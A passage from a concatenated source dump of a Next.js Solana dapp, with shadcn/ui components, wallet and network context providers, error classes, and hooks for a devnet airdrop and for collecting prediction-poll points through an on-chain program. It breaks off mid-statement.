  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Content>
>(({ className, sideOffset = 4, ...props }, ref) => (
  <DropdownMenuPrimitive.Portal>
    <DropdownMenuPrimitive.Content
      ref={ref}
      sideOffset={sideOffset}
      className={cn(
        "z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md",
        "data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
        className
      )}
      {...props}
    />
  </DropdownMenuPrimitive.Portal>
))
DropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName

const DropdownMenuItem = React.forwardRef<
  React.ElementRef<typeof DropdownMenuPrimitive.Item>,
  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Item> & {
    inset?: boolean
  }
>(({ className, inset, ...props }, ref) => (
  <DropdownMenuPrimitive.Item
    ref={ref}
    className={cn(
      "relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
      inset && "pl-8",
      className
    )}
    {...props}
  />
))
DropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName

const DropdownMenuCheckboxItem = React.forwardRef<
  React.ElementRef<typeof DropdownMenuPrimitive.CheckboxItem>,
  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.CheckboxItem>
>(({ className, children, checked, ...props }, ref) => (
  <DropdownMenuPrimitive.CheckboxItem
    ref={ref}
    className={cn(
      "relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
      className
    )}
    checked={checked}
    {...props}
  >
    <span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
      <DropdownMenuPrimitive.ItemIndicator>
        <CheckIcon className="h-4 w-4" />
      </DropdownMenuPrimitive.ItemIndicator>
    </span>
    {children}
  </DropdownMenuPrimitive.CheckboxItem>
))
DropdownMenuCheckboxItem.displayName =
  DropdownMenuPrimitive.CheckboxItem.displayName

const DropdownMenuRadioItem = React.forwardRef<
  React.ElementRef<typeof DropdownMenuPrimitive.RadioItem>,
  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.RadioItem>
>(({ className, children, ...props }, ref) => (
  <DropdownMenuPrimitive.RadioItem
    ref={ref}
    className={cn(
      "relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
      className
    )}
    {...props}
  >
    <span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
      <DropdownMenuPrimitive.ItemIndicator>
        <DotFilledIcon className="h-4 w-4 fill-current" />
      </DropdownMenuPrimitive.ItemIndicator>
    </span>
    {children}
  </DropdownMenuPrimitive.RadioItem>
))
DropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName

const DropdownMenuLabel = React.forwardRef<
  React.ElementRef<typeof DropdownMenuPrimitive.Label>,
  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Label> & {
    inset?: boolean
  }
>(({ className, inset, ...props }, ref) => (
  <DropdownMenuPrimitive.Label
    ref={ref}
    className={cn(
      "px-2 py-1.5 text-sm font-semibold",
      inset && "pl-8",
      className
    )}
    {...props}
  />
))
DropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName

const DropdownMenuSeparator = React.forwardRef<
  React.ElementRef<typeof DropdownMenuPrimitive.Separator>,
  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>
>(({ className, ...props }, ref) => (
  <DropdownMenuPrimitive.Separator
    ref={ref}
    className={cn("-mx-1 my-1 h-px bg-muted", className)}
    {...props}
  />
))
DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName

const DropdownMenuShortcut = ({
  className,
  ...props
}: React.HTMLAttributes<HTMLSpanElement>) => {
  return (
    <span
      className={cn("ml-auto text-xs tracking-widest opacity-60", className)}
      {...props}
    />
  )
}
DropdownMenuShortcut.displayName = "DropdownMenuShortcut"

export {
  DropdownMenu,
  DropdownMenuTrigger,
  DropdownMenuContent,
  DropdownMenuItem,
  DropdownMenuCheckboxItem,
  DropdownMenuRadioItem,
  DropdownMenuLabel,
  DropdownMenuSeparator,
  DropdownMenuShortcut,
  DropdownMenuGroup,
  DropdownMenuPortal,
  DropdownMenuSub,
  DropdownMenuSubContent,
  DropdownMenuSubTrigger,
  DropdownMenuRadioGroup,
}


================================================
FILE: components/ui/input.tsx
================================================
import * as React from "react"

import { cn } from "@/lib/utils"

export interface InputProps
  extends React.InputHTMLAttributes<HTMLInputElement> {}

const Input = React.forwardRef<HTMLInputElement, InputProps>(
  ({ className, type, ...props }, ref) => {
    return (
      <input
        type={type}
        className={cn(
          "flex h-9 w-full rounded-md border border-input bg-transparent px-3 py-1 text-sm shadow-sm transition-colors file:border-0 file:bg-transparent file:text-sm file:font-medium placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:cursor-not-allowed disabled:opacity-50",
          className
        )}
        ref={ref}
        {...props}
      />
    )
  }
)
Input.displayName = "Input"

export { Input }


================================================
FILE: components/ui/separator.tsx
================================================
"use client"

import * as React from "react"
import * as SeparatorPrimitive from "@radix-ui/react-separator"

import { cn } from "@/lib/utils"

const Separator = React.forwardRef<
  React.ElementRef<typeof SeparatorPrimitive.Root>,
  React.ComponentPropsWithoutRef<typeof SeparatorPrimitive.Root>
>(
  (
    { className, orientation = "horizontal", decorative = true, ...props },
    ref
  ) => (
    <SeparatorPrimitive.Root
      ref={ref}
      decorative={decorative}
      orientation={orientation}
      className={cn(
        "shrink-0 bg-border",
        orientation === "horizontal" ? "h-[1px] w-full" : "h-full w-[1px]",
        className
      )}
      {...props}
    />
  )
)
Separator.displayName = SeparatorPrimitive.Root.displayName

export { Separator }


================================================
FILE: components/ui/skeleton.tsx
================================================
import { cn } from "@/lib/utils"

function Skeleton({
  className,
  ...props
}: React.HTMLAttributes<HTMLDivElement>) {
  return (
    <div
      className={cn("animate-pulse rounded-md bg-primary/10", className)}
      {...props}
    />
  )
}

export { Skeleton }


================================================
FILE: components/ui/slider.tsx
================================================
"use client";

import * as React from "react";
import * as SliderPrimitive from "@radix-ui/react-slider";

import { cn } from "@/lib/utils";

const Slider = React.forwardRef<
  React.ElementRef<typeof SliderPrimitive.Root>,
  React.ComponentPropsWithoutRef<typeof SliderPrimitive.Root>
>(({ className, ...props }, ref) => (
  <SliderPrimitive.Root
    ref={ref}
    className={cn(
      "relative flex w-full touch-none select-none items-center",
      className
    )}
    {...props}
  >
    <SliderPrimitive.Track className="relative h-8 w-full grow overflow-hidden rounded-lg bg-primary/20">
      <SliderPrimitive.Range className="absolute h-full bg-primary" />
    </SliderPrimitive.Track>
    <SliderPrimitive.Thumb className="block h-8 w-1 rounded-full border border-primary/50 bg-background shadow transition-colors focus-visible:outline-none focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50" />
  </SliderPrimitive.Root>
));
Slider.displayName = SliderPrimitive.Root.displayName;

export { Slider };


================================================
FILE: components/ui/table.tsx
================================================
import * as React from "react"

import { cn } from "@/lib/utils"

const Table = React.forwardRef<
  HTMLTableElement,
  React.HTMLAttributes<HTMLTableElement>
>(({ className, ...props }, ref) => (
  <div className="relative w-full overflow-auto">
    <table
      ref={ref}
      className={cn("w-full caption-bottom text-sm", className)}
      {...props}
    />
  </div>
))
Table.displayName = "Table"

const TableHeader = React.forwardRef<
  HTMLTableSectionElement,
  React.HTMLAttributes<HTMLTableSectionElement>
>(({ className, ...props }, ref) => (
  <thead ref={ref} className={cn("[&_tr]:border-b", className)} {...props} />
))
TableHeader.displayName = "TableHeader"

const TableBody = React.forwardRef<
  HTMLTableSectionElement,
  React.HTMLAttributes<HTMLTableSectionElement>
>(({ className, ...props }, ref) => (
  <tbody
    ref={ref}
    className={cn("[&_tr:last-child]:border-0", className)}
    {...props}
  />
))
TableBody.displayName = "TableBody"

const TableFooter = React.forwardRef<
  HTMLTableSectionElement,
  React.HTMLAttributes<HTMLTableSectionElement>
>(({ className, ...props }, ref) => (
  <tfoot
    ref={ref}
    className={cn(
      "border-t bg-muted/50 font-medium [&>tr]:last:border-b-0",
      className
    )}
    {...props}
  />
))
TableFooter.displayName = "TableFooter"

const TableRow = React.forwardRef<
  HTMLTableRowElement,
  React.HTMLAttributes<HTMLTableRowElement>
>(({ className, ...props }, ref) => (
  <tr
    ref={ref}
    className={cn(
      "border-b transition-colors hover:bg-muted/50 data-[state=selected]:bg-muted",
      className
    )}
    {...props}
  />
))
TableRow.displayName = "TableRow"

const TableHead = React.forwardRef<
  HTMLTableCellElement,
  React.ThHTMLAttributes<HTMLTableCellElement>
>(({ className, ...props }, ref) => (
  <th
    ref={ref}
    className={cn(
      "h-10 px-2 text-left align-middle font-medium text-muted-foreground [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]",
      className
    )}
    {...props}
  />
))
TableHead.displayName = "TableHead"

const TableCell = React.forwardRef<
  HTMLTableCellElement,
  React.TdHTMLAttributes<HTMLTableCellElement>
>(({ className, ...props }, ref) => (
  <td
    ref={ref}
    className={cn(
      "p-2 align-middle [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]",
      className
    )}
    {...props}
  />
))
TableCell.displayName = "TableCell"

const TableCaption = React.forwardRef<
  HTMLTableCaptionElement,
  React.HTMLAttributes<HTMLTableCaptionElement>
>(({ className, ...props }, ref) => (
  <caption
    ref={ref}
    className={cn("mt-4 text-sm text-muted-foreground", className)}
    {...props}
  />
))
TableCaption.displayName = "TableCaption"

export {
  Table,
  TableHeader,
  TableBody,
  TableFooter,
  TableHead,
  TableRow,
  TableCell,
  TableCaption,
}


================================================
FILE: components/ui/tabs.tsx
================================================
"use client"

import * as React from "react"
import * as TabsPrimitive from "@radix-ui/react-tabs"

import { cn } from "@/lib/utils"

const Tabs = TabsPrimitive.Root

const TabsList = React.forwardRef<
  React.ElementRef<typeof TabsPrimitive.List>,
  React.ComponentPropsWithoutRef<typeof TabsPrimitive.List>
>(({ className, ...props }, ref) => (
  <TabsPrimitive.List
    ref={ref}
    className={cn(
      "inline-flex h-9 items-center justify-center rounded-lg bg-muted p-1 text-muted-foreground",
      className
    )}
    {...props}
  />
))
TabsList.displayName = TabsPrimitive.List.displayName

const TabsTrigger = React.forwardRef<
  React.ElementRef<typeof TabsPrimitive.Trigger>,
  React.ComponentPropsWithoutRef<typeof TabsPrimitive.Trigger>
>(({ className, ...props }, ref) => (
  <TabsPrimitive.Trigger
    ref={ref}
    className={cn(
      "inline-flex items-center justify-center whitespace-nowrap rounded-md px-3 py-1 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow",
      className
    )}
    {...props}
  />
))
TabsTrigger.displayName = TabsPrimitive.Trigger.displayName

const TabsContent = React.forwardRef<
  React.ElementRef<typeof TabsPrimitive.Content>,
  React.ComponentPropsWithoutRef<typeof TabsPrimitive.Content>
>(({ className, ...props }, ref) => (
  <TabsPrimitive.Content
    ref={ref}
    className={cn(
      "mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",
      className
    )}
    {...props}
  />
))
TabsContent.displayName = TabsPrimitive.Content.displayName

export { Tabs, TabsList, TabsTrigger, TabsContent }


================================================
FILE: components/ui/theme-provider.tsx
================================================
"use client";

import * as React from "react";
import { ThemeProvider as NextThemesProvider } from "next-themes";
import { type ThemeProviderProps } from "next-themes/dist/types";

export function ThemeProvider({ children, ...props }: ThemeProviderProps) {
  return <NextThemesProvider {...props}>{children}</NextThemesProvider>;
}


================================================
FILE: components/ui/toast.tsx
================================================
"use client"

import * as React from "react"
import { Cross2Icon } from "@radix-ui/react-icons"
import * as ToastPrimitives from "@radix-ui/react-toast"
import { cva, type VariantProps } from "class-variance-authority"

import { cn } from "@/lib/utils"

const ToastProvider = ToastPrimitives.Provider

const ToastViewport = React.forwardRef<
  React.ElementRef<typeof ToastPrimitives.Viewport>,
  React.ComponentPropsWithoutRef<typeof ToastPrimitives.Viewport>
>(({ className, ...props }, ref) => (
  <ToastPrimitives.Viewport
    ref={ref}
    className={cn(
      "fixed top-0 z-[100] flex max-h-screen w-full flex-col-reverse p-4 sm:bottom-0 sm:right-0 sm:top-auto sm:flex-col md:max-w-[420px]",
      className
    )}
    {...props}
  />
))
ToastViewport.displayName = ToastPrimitives.Viewport.displayName

const toastVariants = cva(
  "group pointer-events-auto relative flex w-full items-center justify-between space-x-2 overflow-hidden rounded-md border p-4 pr-6 shadow-lg transition-all data-[swipe=cancel]:translate-x-0 data-[swipe=end]:translate-x-[var(--radix-toast-swipe-end-x)] data-[swipe=move]:translate-x-[var(--radix-toast-swipe-move-x)] data-[swipe=move]:transition-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[swipe=end]:animate-out data-[state=closed]:fade-out-80 data-[state=closed]:slide-out-to-right-full data-[state=open]:slide-in-from-top-full data-[state=open]:sm:slide-in-from-bottom-full",
  {
    variants: {
      variant: {
        default: "border bg-background text-foreground",
        destructive:
          "destructive group border-destructive bg-destructive text-destructive-foreground",
      },
    },
    defaultVariants: {
      variant: "default",
    },
  }
)

const Toast = React.forwardRef<
  React.ElementRef<typeof ToastPrimitives.Root>,
  React.ComponentPropsWithoutRef<typeof ToastPrimitives.Root> &
    VariantProps<typeof toastVariants>
>(({ className, variant, ...props }, ref) => {
  return (
    <ToastPrimitives.Root
      ref={ref}
      className={cn(toastVariants({ variant }), className)}
      {...props}
    />
  )
})
Toast.displayName = ToastPrimitives.Root.displayName

const ToastAction = React.forwardRef<
  React.ElementRef<typeof ToastPrimitives.Action>,
  React.ComponentPropsWithoutRef<typeof ToastPrimitives.Action>
>(({ className, ...props }, ref) => (
  <ToastPrimitives.Action
    ref={ref}
    className={cn(
      "inline-flex h-8 shrink-0 items-center justify-center rounded-md border bg-transparent px-3 text-sm font-medium transition-colors hover:bg-secondary focus:outline-none focus:ring-1 focus:ring-ring disabled:pointer-events-none disabled:opacity-50 group-[.destructive]:border-muted/40 group-[.destructive]:hover:border-destructive/30 group-[.destructive]:hover:bg-destructive group-[.destructive]:hover:text-destructive-foreground group-[.destructive]:focus:ring-destructive",
      className
    )}
    {...props}
  />
))
ToastAction.displayName = ToastPrimitives.Action.displayName

const ToastClose = React.forwardRef<
  React.ElementRef<typeof ToastPrimitives.Close>,
  React.ComponentPropsWithoutRef<typeof ToastPrimitives.Close>
>(({ className, ...props }, ref) => (
  <ToastPrimitives.Close
    ref={ref}
    className={cn(
      "absolute right-1 top-1 rounded-md p-1 text-foreground/50 opacity-0 transition-opacity hover:text-foreground focus:opacity-100 focus:outline-none focus:ring-1 group-hover:opacity-100 group-[.destructive]:text-red-300 group-[.destructive]:hover:text-red-50 group-[.destructive]:focus:ring-red-400 group-[.destructive]:focus:ring-offset-red-600",
      className
    )}
    toast-close=""
    {...props}
  >
    <Cross2Icon className="h-4 w-4" />
  </ToastPrimitives.Close>
))
ToastClose.displayName = ToastPrimitives.Close.displayName

const ToastTitle = React.forwardRef<
  React.ElementRef<typeof ToastPrimitives.Title>,
  React.ComponentPropsWithoutRef<typeof ToastPrimitives.Title>
>(({ className, ...props }, ref) => (
  <ToastPrimitives.Title
    ref={ref}
    className={cn("text-sm font-semibold [&+div]:text-xs", className)}
    {...props}
  />
))
ToastTitle.displayName = ToastPrimitives.Title.displayName

const ToastDescription = React.forwardRef<
  React.ElementRef<typeof ToastPrimitives.Description>,
  React.ComponentPropsWithoutRef<typeof ToastPrimitives.Description>
>(({ className, ...props }, ref) => (
  <ToastPrimitives.Description
    ref={ref}
    className={cn("text-sm opacity-90", className)}
    {...props}
  />
))
ToastDescription.displayName = ToastPrimitives.Description.displayName

type ToastProps = React.ComponentPropsWithoutRef<typeof Toast>

type ToastActionElement = React.ReactElement<typeof ToastAction>

export {
  type ToastProps,
  type ToastActionElement,
  ToastProvider,
  ToastViewport,
  Toast,
  ToastTitle,
  ToastDescription,
  ToastClose,
  ToastAction,
}


================================================
FILE: components/ui/toaster.tsx
================================================
"use client"

import {
  Toast,
  ToastClose,
  ToastDescription,
  ToastProvider,
  ToastTitle,
  ToastViewport,
} from "@/components/ui/toast"
import { useToast } from "@/components/ui/use-toast"

export function Toaster() {
  const { toasts } = useToast()

  return (
    <ToastProvider>
      {toasts.map(function ({ id, title, description, action, ...props }) {
        return (
          <Toast key={id} {...props}>
            <div className="grid gap-1">
              {title && <ToastTitle>{title}</ToastTitle>}
              {description && (
                <ToastDescription>{description}</ToastDescription>
              )}
            </div>
            {action}
            <ToastClose />
          </Toast>
        )
      })}
      <ToastViewport />
    </ToastProvider>
  )
}


================================================
FILE: components/ui/tooltip.tsx
================================================
"use client";

import * as React from "react";
import * as TooltipPrimitive from "@radix-ui/react-tooltip";

import { cn } from "@/lib/utils";

const TooltipProvider = TooltipPrimitive.Provider;

const Tooltip = TooltipPrimitive.Root;

const TooltipTrigger = TooltipPrimitive.Trigger;

const TooltipContent = React.forwardRef<
  React.ElementRef<typeof TooltipPrimitive.Content>,
  React.ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>
>(({ className, sideOffset = 4, ...props }, ref) => (
  <TooltipPrimitive.Content
    ref={ref}
    sideOffset={sideOffset}
    className={cn(
      "z-50 overflow-hidden rounded-md bg-primary px-3 py-1.5 text-xs text-primary-foreground animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
      className
    )}
    {...props}
  />
));
TooltipContent.displayName = TooltipPrimitive.Content.displayName;

export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider };


================================================
FILE: components/ui/use-toast.ts
================================================
"use client"

// Inspired by react-hot-toast library
import * as React from "react"

import type {
  ToastActionElement,
  ToastProps,
} from "@/components/ui/toast"

const TOAST_LIMIT = 1
const TOAST_REMOVE_DELAY = 1000000

type ToasterToast = ToastProps & {
  id: string
  title?: React.ReactNode
  description?: React.ReactNode
  action?: ToastActionElement
}

const actionTypes = {
  ADD_TOAST: "ADD_TOAST",
  UPDATE_TOAST: "UPDATE_TOAST",
  DISMISS_TOAST: "DISMISS_TOAST",
  REMOVE_TOAST: "REMOVE_TOAST",
} as const

let count = 0

function genId() {
  count = (count + 1) % Number.MAX_SAFE_INTEGER
  return count.toString()
}

type ActionType = typeof actionTypes

type Action =
  | {
      type: ActionType["ADD_TOAST"]
      toast: ToasterToast
    }
  | {
      type: ActionType["UPDATE_TOAST"]
      toast: Partial<ToasterToast>
    }
  | {
      type: ActionType["DISMISS_TOAST"]
      toastId?: ToasterToast["id"]
    }
  | {
      type: ActionType["REMOVE_TOAST"]
      toastId?: ToasterToast["id"]
    }

interface State {
  toasts: ToasterToast[]
}

const toastTimeouts = new Map<string, ReturnType<typeof setTimeout>>()

const addToRemoveQueue = (toastId: string) => {
  if (toastTimeouts.has(toastId)) {
    return
  }

  const timeout = setTimeout(() => {
    toastTimeouts.delete(toastId)
    dispatch({
      type: "REMOVE_TOAST",
      toastId: toastId,
    })
  }, TOAST_REMOVE_DELAY)

  toastTimeouts.set(toastId, timeout)
}

export const reducer = (state: State, action: Action): State => {
  switch (action.type) {
    case "ADD_TOAST":
      return {
        ...state,
        toasts: [action.toast, ...state.toasts].slice(0, TOAST_LIMIT),
      }

    case "UPDATE_TOAST":
      return {
        ...state,
        toasts: state.toasts.map((t) =>
          t.id === action.toast.id ? { ...t, ...action.toast } : t
        ),
      }

    case "DISMISS_TOAST": {
      const { toastId } = action

      // ! Side effects ! - This could be extracted into a dismissToast() action,
      // but I'll keep it here for simplicity
      if (toastId) {
        addToRemoveQueue(toastId)
      } else {
        state.toasts.forEach((toast) => {
          addToRemoveQueue(toast.id)
        })
      }

      return {
        ...state,
        toasts: state.toasts.map((t) =>
          t.id === toastId || toastId === undefined
            ? {
                ...t,
                open: false,
              }
            : t
        ),
      }
    }
    case "REMOVE_TOAST":
      if (action.toastId === undefined) {
        return {
          ...state,
          toasts: [],
        }
      }
      return {
        ...state,
        toasts: state.toasts.filter((t) => t.id !== action.toastId),
      }
  }
}

const listeners: Array<(state: State) => void> = []

let memoryState: State = { toasts: [] }

function dispatch(action: Action) {
  memoryState = reducer(memoryState, action)
  listeners.forEach((listener) => {
    listener(memoryState)
  })
}

type Toast = Omit<ToasterToast, "id">

function toast({ ...props }: Toast) {
  const id = genId()

  const update = (props: ToasterToast) =>
    dispatch({
      type: "UPDATE_TOAST",
      toast: { ...props, id },
    })
  const dismiss = () => dispatch({ type: "DISMISS_TOAST", toastId: id })

  dispatch({
    type: "ADD_TOAST",
    toast: {
      ...props,
      id,
      open: true,
      onOpenChange: (open) => {
        if (!open) dismiss()
      },
    },
  })

  return {
    id: id,
    dismiss,
    update,
  }
}

function useToast() {
  const [state, setState] = React.useState<State>(memoryState)

  React.useEffect(() => {
    listeners.push(setState)
    return () => {
      const index = listeners.indexOf(setState)
      if (index > -1) {
        listeners.splice(index, 1)
      }
    }
  }, [state])

  return {
    ...state,
    toast,
    dismiss: (toastId?: string) => dispatch({ type: "DISMISS_TOAST", toastId }),
  }
}

export { useToast, toast }


================================================
FILE: components.json
================================================
{
  "$schema": "https://ui.shadcn.com/schema.json",
  "style": "new-york",
  "rsc": true,
  "tsx": true,
  "tailwind": {
    "config": "tailwind.config.ts",
    "css": "app/globals.css",
    "baseColor": "slate",
    "cssVariables": true,
    "prefix": ""
  },
  "aliases": {
    "components": "@/components",
    "utils": "@/lib/utils"
  }
}

================================================
FILE: contexts/AutoConnectProvider.tsx
================================================
"use client";
import { useLocalStorage } from "@solana/wallet-adapter-react";
import { createContext, FC, ReactNode, useContext } from "react";

export interface AutoConnectContextState {
  autoConnect: boolean;
  setAutoConnect(autoConnect: boolean): void;
}

export const AutoConnectContext = createContext<AutoConnectContextState>(
  {} as AutoConnectContextState
);

export function useAutoConnect(): AutoConnectContextState {
  return useContext(AutoConnectContext);
}

export const AutoConnectProvider: FC<{ children: ReactNode }> = ({
  children,
}) => {
  // TODO: fix auto connect to actual reconnect on refresh/other.
  // TODO: make switch/slider settings
  // const [autoConnect, setAutoConnect] = useLocalStorage('autoConnect', false);
  const [autoConnect, setAutoConnect] = useLocalStorage("autoConnect", true);

  return (
    <AutoConnectContext.Provider value={{ autoConnect, setAutoConnect }}>
      {children}
    </AutoConnectContext.Provider>
  );
};


================================================
FILE: contexts/ContextProvider.tsx
================================================
"use client";
import { WalletAdapterNetwork } from "@solana/wallet-adapter-base";
import {
  ConnectionProvider,
  WalletProvider,
} from "@solana/wallet-adapter-react";
import {
  PhantomWalletAdapter,
  SolflareWalletAdapter,
} from "@solana/wallet-adapter-wallets";
import { clusterApiUrl } from "@solana/web3.js";
import { ComponentType, FC, ReactNode, useMemo } from "react";
import { AutoConnectProvider, useAutoConnect } from "./AutoConnectProvider";
import {
  NetworkConfigurationProvider,
  useNetworkConfiguration,
} from "./NetworkConfigurationProvider";
import dynamic from "next/dynamic";
import { Toaster } from "@/components/ui/toaster";

const ReactUIWalletModalProviderDynamic: ComponentType<{
  children: ReactNode;
}> = dynamic(
  async () =>
    (await import("@solana/wallet-adapter-react-ui")).WalletModalProvider,
  { ssr: false }
);

const WalletContextProvider: FC<{ children: ReactNode }> = ({ children }) => {
  const { autoConnect } = useAutoConnect();
  const { networkConfiguration } = useNetworkConfiguration();
  const network = networkConfiguration as WalletAdapterNetwork;
  const endpoint = useMemo(() => clusterApiUrl(network), [network]);

  const wallets = useMemo(
    () => [new SolflareWalletAdapter(), new PhantomWalletAdapter()],
    // eslint-disable-next-line react-hooks/exhaustive-deps
    [network]
  );

  return (
    <ConnectionProvider endpoint={endpoint}>
      <WalletProvider wallets={wallets} autoConnect={autoConnect}>
        <ReactUIWalletModalProviderDynamic>
          {children}
        </ReactUIWalletModalProviderDynamic>
      </WalletProvider>
      <Toaster />
    </ConnectionProvider>
  );
};

export const ContextProvider: FC<{ children: ReactNode }> = ({ children }) => {
  return (
    <>
      <NetworkConfigurationProvider>
        <AutoConnectProvider>
          <WalletContextProvider>{children}</WalletContextProvider>
        </AutoConnectProvider>
      </NetworkConfigurationProvider>
    </>
  );
};


================================================
FILE: contexts/NetworkConfigurationProvider.tsx
================================================
"use client";
import { useLocalStorage } from "@solana/wallet-adapter-react";
import { createContext, FC, ReactNode, useContext } from "react";

export interface NetworkConfigurationState {
  networkConfiguration: string;
  setNetworkConfiguration(networkConfiguration: string): void;
}

export const NetworkConfigurationContext =
  createContext<NetworkConfigurationState>({} as NetworkConfigurationState);

export function useNetworkConfiguration(): NetworkConfigurationState {
  return useContext(NetworkConfigurationContext);
}

export const NetworkConfigurationProvider: FC<{ children: ReactNode }> = ({
  children,
}) => {
  const [networkConfiguration, setNetworkConfiguration] = useLocalStorage(
    "network",
    "devnet"
  );

  return (
    <NetworkConfigurationContext.Provider
      value={{ networkConfiguration, setNetworkConfiguration }}
    >
      {children}
    </NetworkConfigurationContext.Provider>
  );
};


================================================
FILE: errors/NoUserAccountError.ts
================================================
export class NoUserAccountError extends Error {
  constructor(message: string) {
    super(message);

    this.name = "No User Account!";
  }
}


================================================
FILE: errors/WalletNotConnectedError.ts
================================================
export class WalletNotConnectedError extends Error {
  constructor(message: string) {
    super(message);

    this.name = "Wallet not connected!";
  }
}


================================================
FILE: hooks/mutations/useAirdropSol.tsx
================================================
import { WalletContextState } from "@solana/wallet-adapter-react";
import { Connection, LAMPORTS_PER_SOL } from "@solana/web3.js";
import { useMutation, useQueryClient } from "@tanstack/react-query";
import { userSolBalanceKey } from "../queries/useUserSolBalance";
import { useToast } from "@/components/ui/use-toast";
import {
  connectWalletText,
  transactionSuccessfullText,
} from "@/texts/toastTitles";
import { WalletNotConnectedError } from "@/errors/WalletNotConnectedError";

const airdropSol = async (
  connection: Connection,
  wallet: WalletContextState
) => {
  if (!wallet.publicKey) {
    throw new WalletNotConnectedError(connectWalletText);
  }

  const [latestBlockhash, signature] = await Promise.all([
    connection.getLatestBlockhash(),
    connection.requestAirdrop(wallet.publicKey, 1 * LAMPORTS_PER_SOL),
  ]);
  await connection.confirmTransaction(
    { signature, ...latestBlockhash },
    "confirmed"
  );
};

const useAirdropSol = (connection: Connection, wallet: WalletContextState) => {
  const queryClient = useQueryClient();
  const { toast } = useToast();

  return useMutation({
    mutationFn: () => airdropSol(connection, wallet),
    onSuccess: () => {
      toast({
        variant: "default",
        title: transactionSuccessfullText,
        description: "Airdrop was confirmed",
      });
      queryClient.invalidateQueries({
        queryKey: [userSolBalanceKey],
      });
    },
    onError: (e) => {
      toast({
        variant: "destructive",
        title: e.name,
        description: e.message,
      });
    },
  });
};

export { useAirdropSol };


================================================
FILE: hooks/mutations/useCollectPoints.ts
================================================
import { Poe } from "@/idl/poe";
import { BN, Program } from "@coral-xyz/anchor";
import { WalletContextState } from "@solana/wallet-adapter-react";
import { Connection, PublicKey } from "@solana/web3.js";
import { useMutation, useQueryClient } from "@tanstack/react-query";
import { userAccountKey } from "../queries/useUserAccount";
import { userSolBalanceKey } from "../queries/useUserSolBalance";
import { pollByIdKey } from "../queries/usePollById";
import { userScoreKey } from "../queries/useUserScore";
import { WalletNotConnectedError } from "@/errors/WalletNotConnectedError";
import { useToast } from "@/components/ui/use-toast";
import {
  connectWalletText,
  transactionSuccessfullText,
} from "@/texts/toastTitles";
import { sendVersionedTransaction } from "../../utils/sendVersionedTransaction";
import { getAssociatedTokenAddress } from "@solana/spl-token";
import { allPollsByUserKey } from "../queries/useAllPollsByUser";
import { allUserAccounts } from "../queries/useAllUserAccounts";
import { userBonkBalanceKey } from "../queries/useUserBonkBalance";

const collectPoints = async (
  program: Program<Poe>,
  connection: Connection,
  wallet: WalletContextState,
  pollId: number
) => {
  if (!wallet.publicKey) {
    throw new WalletNotConnectedError(connectWalletText);
  }

  let [userPda] = PublicKey.findProgramAddressSync(
    [Buffer.from("user"), wallet.publicKey.toBuffer()],
    program.programId
  );

  const [pollPda] = PublicKey.findProgramAddressSync(
    [Buffer.from("poll"), new BN(pollId).toArrayLike(Buffer, "le", 8)],
    program.programId
  );

  let [userPredictionPda] = PublicKey.findProgramAddressSync(
    [
      Buffer.from("user_estimate"),
      pollPda.toBuffer(),
      wallet.publicKey.toBuffer(),
    ],
    program.programId
  );

  let [scoreListPda] = PublicKey.findProgramAddressSync(
    [Buffer.from("scoring_list"), pollPda.toBuffer()],
    program.programId
  );

  let [userScorePda] = PublicKey.findProgramAddressSync(
    [
      Buffer.from("user_score"),
      pollPda.toBuffer(),
      wallet.publicKey.toBuffer(),
    ],
    program.programId
  );

  let [mintPda, mintBump] = PublicKey.findProgramAddressSync(
    [Buffer.from("poeken_mint")],
    program.programId
  );

  let [escrowPda, _escrowBump] = PublicKey.findProgramAddressSync(
    [Buffer.from("escrow")],
    program.programId
  );

  const tokenAccountAddress = await getAssociatedTokenAddress(
    mintPda,
    wallet.publicKey
  );

  const registerUserInstruction = await program.methods
